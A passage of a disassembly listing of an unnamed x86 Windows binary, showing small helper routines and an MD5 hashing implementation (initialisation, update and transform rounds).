		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0C1EEE890h, 0C0850231h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		call	near ptr 27507B2h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 2750000h
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103B4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2770399h
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27E0840h
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	2BE89051h, 560230C0h, 0E890D88Bh
		dd 230C166h, 36CAE857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
